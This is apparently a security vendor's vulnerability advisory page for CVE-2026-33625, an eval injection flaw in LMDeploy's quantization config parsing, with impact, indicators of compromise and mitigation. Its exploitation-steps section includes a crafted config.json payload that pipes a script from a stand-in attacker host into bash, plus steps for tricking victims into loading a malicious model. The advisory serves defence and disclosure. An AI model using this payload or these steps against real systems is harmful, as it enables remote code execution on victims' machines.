Register for the AI for Security Summit: Join Figma, Perplexity & Wiz

CVE-2026-33625
Python vulnerability analysis and mitigation

Overview

CVE-2026-33625 is a code injection (eval injection) vulnerability in InternLM's LMDeploy toolkit that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantization_config.quant_dtype value. When a user loads such a model, the quant_dtype field is passed unsanitized to eval(f'torch.{quant_dtype}') in lmdeploy/pytorch/config.py at line 620. Affected versions are 0.12.1 through 0.12.2 (inclusive); version 0.12.3 contains the patch. The vulnerability was published to the GitHub Advisory Database on September 18, 2026, and carries a CVSS v3.1 base score of 8.8 (High) (Github Advisory, InternLM Advisory).

Technical details

The root cause is CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection): the quant_dtype value sourced from a HuggingFace model's quantization_config JSON is interpolated directly into a Python eval() call without any validation or sanitization (InternLM Advisory). The vulnerable code path is triggered when a model specifies quant_method: awq; the AWQ processing branch does not override quant_dtype, so a malicious value flows through to line 620: quant_dtype = eval(f'torch.{quant_dtype}'). Notably, the existing whitelist check in _update_torch_dtype (line 53) applies only to torch_dtype, not quant_dtype, leaving the latter entirely unprotected. An attacker can inject arbitrary Python expressions such as float16, __import__('os').system('id') to achieve OS command execution upon model load (Github Advisory).

Impact

Successful exploitation grants the attacker full arbitrary code execution with the privileges of the lmdeploy process — which in many deployment scenarios runs as root or a highly privileged service account. This enables reading sensitive files, executing OS commands, modifying system state, and potentially pivoting to other systems in the environment. The attack affects all deployment scenarios including local inference, cloud-hosted serving, and production pipelines, making it a significant supply-chain risk for any organization loading LLMs via lmdeploy (InternLM Advisory, Github Advisory).

Exploitability

A proof-of-concept is included in the official security advisory and demonstrates successful RCE (output: uid=0(root) gid=0(root) groups=0(root)) by simulating a malicious HuggingFace model config (InternLM Advisory). There is currently no evidence of in-the-wild exploitation or threat actor attribution (Github Advisory). The EPSS score is 0.0 at time of publication, and the vulnerability is not listed in the CISA KEV catalog. Exploitation requires user interaction in the form of a victim loading the malicious model, but no privileges are required from the attacker side, lowering the barrier for supply-chain abuse.

Exploitation steps

  1. Craft a malicious model config: Create a HuggingFace model repository containing a config.json with a weaponized quantization_config:
{
  "quantization_config": {
    "quant_method": "awq",
    "quant_dtype": "float16, __import__('os').system('curl http://attacker.com/shell.sh | bash')"
  }
}
  1. Publish the model: Upload the malicious model to HuggingFace Hub (or host it on any accessible model repository/path), making it appear legitimate (e.g., mimicking a popular quantized LLM).
  2. Induce the victim to load the model: Distribute the model link via social engineering, dependency confusion, or by impersonating a trusted model. The victim runs a command such as lmdeploy serve <malicious-model-id> or loads it programmatically.
  3. Trigger the eval: When lmdeploy processes the model config, ModelConfig.from_hf_config() reads quant_dtype from quantization_config and executes eval(f'torch.{quant_dtype}') at line 620 of lmdeploy/pytorch/config.py, evaluating the injected Python expression.
  4. Achieve code execution: The injected payload executes with the privileges of the lmdeploy process, enabling reverse shell establishment, data exfiltration, or further lateral movement (InternLM Advisory).

Indicators of compromise

  • Process: Unexpected child processes spawned by the Python/lmdeploy process (e.g., sh, bash, curl, wget, python) immediately after model loading.
  • Network: Outbound connections from the lmdeploy host to unknown external IPs or domains shortly after a model load event; DNS queries for attacker-controlled infrastructure.
  • Logs: Python tracebacks or unusual output in lmdeploy logs during model config parsing; OS command output (e.g., uid=...) appearing in application stdout/stderr.
  • File System: Unexpected new files (scripts, binaries, web shells) written to the filesystem by the lmdeploy process; new cron jobs or systemd units created under the service account.
  • Model Config: Presence of a quantization_config in a loaded model's config.json where quant_dtype contains characters beyond simple dtype names (e.g., parentheses, underscores, import statements, semicolons) (InternLM Advisory).

Mitigation and workarounds

Upgrade lmdeploy to version 0.12.3, which contains the security fix (PR #4447: "fix security issues") (LMDeploy v0.12.3). Until patching is complete, restrict model loading to trusted, verified sources only and manually inspect quantization_config.quant_dtype in model config.json files before loading. As a defense-in-depth measure, run lmdeploy processes under a least-privilege account and in an isolated environment (e.g., container with no network egress) to limit the blast radius of exploitation (Github Advisory).

Additional resources


SourceThis report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2025-66455CRITICAL9.8
  • Python logoPython
  • lmdeploy
NoYesSep 18, 2026
CVE-2026-63374CRITICAL9.3
  • Python logoPython
  • anyio
NoYesSep 18, 2026
CVE-2026-59163CRITICAL9.1
  • Python logoPython
  • mnemosyne-memory
NoYesSep 18, 2026
CVE-2026-33625HIGH8.8
  • Python logoPython
  • lmdeploy
NoYesSep 18, 2026
CVE-2026-64847MEDIUM6.8
  • Python logoPython
  • anyio
NoYesSep 18, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management